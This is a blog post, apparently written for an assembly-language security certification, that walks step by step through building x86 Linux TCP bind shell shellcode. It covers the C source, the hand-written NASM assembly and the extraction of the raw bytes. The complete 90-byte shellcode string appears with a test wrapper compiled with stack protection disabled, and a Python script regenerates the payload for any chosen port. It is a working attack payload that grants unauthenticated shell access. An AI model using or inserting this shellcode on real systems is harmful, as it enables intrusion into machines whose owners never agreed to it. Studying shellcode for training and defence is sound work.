Creating TCP bind shell shellcode

This blog post describes manual creating of TCP bind shell shellcode on Intel 32-bit architecture and Linux platform.

We will start with following C code.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>

int main()
{
    // 1. Create socket
    int listen_socket_fd = socket(AF_INET, SOCK_STREAM, 0);

    // 2. Bind socket
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5050);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(listen_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

    // 3. Set socket into passive listening mode
    listen(listen_socket_fd, 0);

    // 4. Handle incoming connection
    int connected_socket_fd = accept(listen_socket_fd, NULL, NULL);

    // 5. Duplicate stdin, stdout and stderr file descriptors
    dup2(connected_socket_fd, STDIN_FILENO);  
    dup2(connected_socket_fd, STDOUT_FILENO);  
    dup2(connected_socket_fd, STDERR_FILENO);

    // 6. Spawn shell
    execve("/bin/sh", NULL, NULL);
}

At first glance this program lacks any debugging and exception handling amenities but from security perspective we need smaller C code:

  • so that the final shellcode fits into tight memory on the target machine
  • which generates less instructions and reduces assembly-conversion complexity

Bind shell C code analysis

  1. Call to socket() creates a connection socket(1) and returns file descriptor(2) which identifies this socket later on. First argument selects the protocol family which will be used for communication – AF_INET stands for IPv4 Internet Protocols. Second argument specifies the communication semantics – SOCK_STREAM is full-duplex byte stream supported by AF_INET family. Third argument is specific protocol defined in /etc/protocols.
  2. Call to bind() assigns name (address, port) to the socket. First argument is file descriptor from socket() call. Second argument is structure with protocol family, port and IP. Note that IP is set to INADDR_ANY which makes socket listening on any interface. In other words INADDR_ANY=0.0.0.0. Third argument is just size of sockaddr_in structure in bytes.
  3. Call to listen() sets the socket into passive listening mode which means that the socket will use accept() to handle incoming connections. First argument is socket file descriptor and second argument is the maximum length to which the queue of pending connections may grow.
  4. Call to accept() extracts the connection request on the listening socket, creates a new connected socket and returns a new file descriptor referring to that socket. First argument is listening socket file descriptor. Second and third arguments are used for passing custom sockaddr structure if passed file descriptor doesn’t point to valid sockaddr structure yet.
  5. dup2() call binds current process’ stdin, stdout, stderr file descriptors with connected socket file descriptor hence any data from outside coming into connected socket are treated as stdin. Similarly any data generated by current process which would go to stdout or stderr go out to the connected socket.
  6. Call to execve() system call spawns shell in current process. First argument is path to executable. Second argument points to executable arguments and third argument points to environment variables.

Converting C to Assembly

C code must be rewritten by means of pure system calls(3) so let’s translate functions in the C code into system calls.

// 1. Create socket

int listen_socket_fd = socket(AF_INET, SOCK_STREAM, 0);

First find out AF_INET and SOCK_STREAM values. They can be discovered in /usr/src/linux-headers-<kernel_version>/include/linux/socket.h. AF_INET = 2, SOCK_STREAM = 1.

Do we have system call socket() in /usr/include/i386-linux-gnu/asm/unistd_32.h ? No, Linux has only system call socketcall() which serves as API for other socket functions. The socketcall() has following signature

int socketcall(int call, unsigned long *args);

From /usr/include/i386-linux-gnu/asm/unistd_32.h we have system call number

define __NR_socketcall         102

Next have a look at definitions for socketcall() in /usr/include/linux/net.h where we get value for SYS_SOCKET

define SYS_SOCKET      1

We have all needed values which need to be stuffed into registers.

global _start

section .text

_start:

    ; // 1. Create socket
    ; int socketcall(int call, unsigned long *args);
    ; int socketcall(SYS_SOCKET, {AF_INET, SOCK_STREAM, 0});
    ; int socketcall(1, {2, 1, 0});

    ; eax contains system call number 102. In hex 0x66
    push 0x66
    pop eax

    ; ebx contains SYS_SOCKET value
    push 0x1
    pop ebx

    ; ecx contains pointer to structure with arguments for socket() call.
    ; arguments are pushed into stack in reverse order
    xor ecx, ecx
    push ecx        ; push 0
    push ebx        ; push 1
    push 0x2        ; push 2
    mov ecx, esp    ; point ecx to the top of the stack
    int 0x80        ; invoke system call
    mov esi, eax    ; save returned file descriptor

// 2. Bind socket

struct sockaddr_in addr; addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = INADDR_ANY;
bind(listen_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

We already know that AF_INET = 2. From /usr/include/netinet/in.h we get

define INADDR_ANY ((in_addr_t) 0x00000000)

htons() converts byte order of a number to network byte order which is in big-endian format. So 5050 is 0x13BA in little-endian and 0xBA13 in big-endian.

sizeof(addr) we can read from strace output

bind(3, {sa_family=AF_INET, sin_port=htons(5050), sin_addr=inet_addr("0.0.0.0")}, 16) = 

Value of SYS_BIND can be found in /usr/include/linux/net.h

Assembly for // 2. Bind socket block can be rewritten as follows:

; // 2. Bind socket
; bind(listen_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
; bind($esi, {2, 0xba13, 0}, 0x10);
; int socketcall(int call, unsigned long *args);
; int socketcall(SYS_BIND, {$esi, {AF_INET, htons(5050), INADDR_ANY}, 0x10});
; int socketcall(2, {$esi, {2, 0xba13, 0}, 0x10});

; eax contains system call number 102(0x66)
mov al, 0x66

; ebx contains SYS_BIND value
pop ebx         ; reuse value 2 from prior push 0x2 call

; ecx contains pointer to sockaddr_in structure
; {2, 0xba13, 0}
xor edx, edx
push edx            ; push 0
push word 0xba13
push bx             ; push 2
mov ecx, esp

; push all arguments for bind() call into stack
; {$esi, {2, 0xba13, 0}, 0x10}
push 0x10       ; size of sockaddr_in is 16(0x10) bytes
push ecx        ; push {2, 0xba13, 0}
push esi        ; push file descriptor
mov ecx, esp    ; point ecx to socketcall() second arg
int 0x80        ; invoke system call

// 3. Set socket into passive listening mode

listen(listen_socket_fd, 0);

From /usr/include/linux/net.h we get value for SYS_LISTEN

#define SYS_LISTEN      4

Assembly for // 3. Set socket into passive listening mode is short

; // 3. Set socket into passive listening mode
; listen(listen_socket_fd, int backlog);
; listen(esi, 0)
; int socketcall(int call, unsigned long *args);
; int socketcall(SYS_LISTEN, {esi, eax});
; int socketcall(4, {esi, eax});

push eax        ; push 0, eax contains 0 from bind() call
push esi        ; push file descriptor
mov ecx, esp    ; point ecx to socketcall() second arg
add ebx, 0x2    ; set ebx to 0x4
mov al, 0x66    ; set eax for system call
int 0x80        ; invoke system call

// 4. Handle incoming connection

int connected_socket_fd = accept(listen_socket_fd, NULL, NULL);

From /usr/include/linux/net.h we get value for SYS_ACCEPT

define SYS_ACCEPT      5

Assembly for // 4. Handle incoming connection block is

; // 4. Handle incoming connection
; int connected_socket_fd = accept(listen_socket_fd, NULL, NULL);
; int socketcall(SYS_ACCEPT, {esi, 0, 0});
; int socketcall(5, {esi, 0, 0});

push eax        ; push 0, eax contains 0 from listen() call
push eax        ; push 0, eax contains 0 from listen() call
push esi        ; push file descriptor
mov ecx, esp    ; point ecx to socketcall() second arg
inc ebx         ; set ebx to 5
mov al, 0x66    ; set eax for system call
int 0x80        ; invoke system call

// 5. Duplicate stdin, stdout and stderr file descriptors

dup2(connected_socket_fd, STDIN_FILENO);  
dup2(connected_socket_fd, STDOUT_FILENO);
dup2(connected_socket_fd, STDERR_FILENO);

From /usr/include/i386-linux-gnu/asm/unistd_32.h we get value for dup2()

define __NR_dup2                63

Values of STDIN_FILENO, STDOUT_FILENO and STDERR_FILENO are 0, 1, 2

Assembly for // 5. Duplicate stdin, stdout and stderr file descriptors is

// 5. Duplicate stdin, stdout and stderr file descriptors
; dup2(connected_socket_fd, STDIN_FILENO);
; dup2(connected_socket_fd, STDOUT_FILENO);
; dup2(connected_socket_fd, STDERR_FILENO);

xchg ebx, eax    ; ebx contains output from accept() call

push 0x2
pop ecx          ; set loop counter

; loop counter is used as descriptor argument
loop:

    mov al, 0x3f    ; system call number for dup2()
    int 0x80        ; invoke system call
    dec ecx         ; step to next descriptor
    jns loop        ; jump to loop if SF=0

// 6. Spawn shell

execve("/bin/sh", NULL, NULL)

From /usr/include/i386-linux-gnu/asm/unistd_32.h we get value for execve()

define __NR_execve              11
// 6. Spawn shell
; execve("/bin/sh", NULL, NULL);
; pad "/bin/sh" with "/" to 8 byte length = "//bin/sh"
; reverse  "//bin/sh" = "hs/nib//"
; hexencode "hs/nib//" = 0x68732f6e69622f2f
; divide into 4 byte chunks
; 0x68732f6e
; 0x69622f2f
; execve(//bin/sh, NULL, NULL);

push edx            ; push 0 (edx=0 from step 2)
push 0x68732f6e     ; push hexencoded "hs/n"
push 0x69622f2f     ; push hexencoded "ib//"
mov ebx, esp        ; ebx points to "0x00hs/nib//""
inc ecx             ; ecx incremented from -1 to 0

mov al, 0xb         ; set eax for system call
int 0x80            ; invoke system call

Final assembly code

; bindshell.nasm

global _start

section .text

_start:

    ; // 1. Create socket

    push 0x66
    pop eax

    push 0x1
    pop ebx

    xor ecx, ecx
    push ecx
    push ebx
    push 0x2
    mov ecx, esp
    int 0x80
    mov esi, eax

    ; // 2. Bind socket

    mov al, 0x66

    pop ebx

    xor edx, edx
    push edx
    push word 0xba13
    push bx
    mov ecx, esp

    push 0x10
    push ecx
    push esi
    mov ecx, esp
    int 0x80

    ; // 3. Set socket into passive listening mode

    push eax
    push esi
    mov ecx, esp
    add ebx, 0x2
    mov al, 0x66
    int 0x80

    ; // 4. Handle incoming connection

    push eax
    push eax
    push esi
    mov ecx, esp
    inc ebx
    mov al, 0x66
    int 0x80

    ; // 5. Duplicate stdin, stdout and stderr file descriptors

    xchg ebx, eax

    push 0x2
    pop ecx
    
    loop:

        mov al, 0x3f
        int 0x80
        dec ecx
        jns loop

    ; // 6. Spawn shell

    push edx
    push 0x68732f6e
    push 0x69622f2f
    mov ebx, esp
    inc ecx

    mov al, 0xb
    int 0x80

Compiling and testing assembly code

Compile .nasm file into object file(4)

$ nasm -f elf32 -o bindshell.o bindshell.nasm

Create binary file from object file

$ ld -o bindshell bindshell.o

Check for null bytes(5)

$ objdump -M intel -d bindshell | grep 00

Extract shellcode from binary

$ objdump -d ./bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We got 90 bytes shellcode. Let’s insert extracted shellcode into testing C wrapper

// shellcode.c
// Shellcode testing wrapper

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x31\xd2\x52\x66\x68\x13\xba\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x50\x56\x89\xe1\x83\xc3\x02\xb0\x66\xcd\x80\x50\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xb0\x0b\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*CodeFun)() = (int(*)())code;
        CodeFun();
}

Compile testing C code without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Executing shellcode we get bind shell on port 5050

$ ./shellcode 
Shellcode Length: 90

...
$ nc -nv 127.0.0.1 5050
Connection to 127.0.0.1 5050 port [tcp/*] succeeded!
whoami
maple

Python script which sets port number

#!/usr/bin/env python

import socket
import sys
import struct

'''
$ objdump -M intel -d bindshell.o
...
18:	66 68 13 ba          	pushw  0xba13
...
'''
PORT_OFFSET = 0x18 + 2

SHELLCODE = bytearray(
	b'\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x31\xd2\x52\x66\x68\x13\xba\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x50\x56\x89\xe1\x83\xc3\x02\xb0\x66\xcd\x80\x50\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xb0\x0b\xcd\x80'
)

if len(sys.argv) != 2:
    print('Usage: generate_bindshell <port>')
    exit(1)

port_big_endian = socket.htons(int(sys.argv[1]))
SHELLCODE[PORT_OFFSET:PORT_OFFSET + 2] = struct.pack("H", port_big_endian)
print('\\x' + '\\x'.join('{:02x}'.format(byte) for byte in SHELLCODE))

Script can be used simply as

$ ./shellcode_port.py 8777
\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x31\xd2\x52\x66\x68\x22\x49\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x50\x56\x89\xe1\x83\xc3\x02\xb0\x66\xcd\x80\x50\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xb0\x0b\xcd\x80

If we change the shellcode in testing C wrapper and compile it again we get bind shell on desired port what can be verified by $ netstat -tupln or nc -nv 127.0.0.1 8777

tcp        0      0 0.0.0.0:8777

(1) A socket is a pseudo-file that represents a network connection. Once a socket has been created and configured – writes to the socket are turned into network packets that get sent out or data received from the network can be read from the socket.

(2) In Unix and related computer operating systems, a file descriptor is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket. Each Unix process (except perhaps a daemon) should expect to have three standard POSIX file descriptors, corresponding to the three standard streams: stdin, stdout, stderr.

(3) The system call is the fundamental interface between an application and the Linux kernel.

(4) Object file contains low level instructions which can be understood by the CPU. That is why it is also called machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. Object file is not directly executable.

(5) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE-1443

Leave a Reply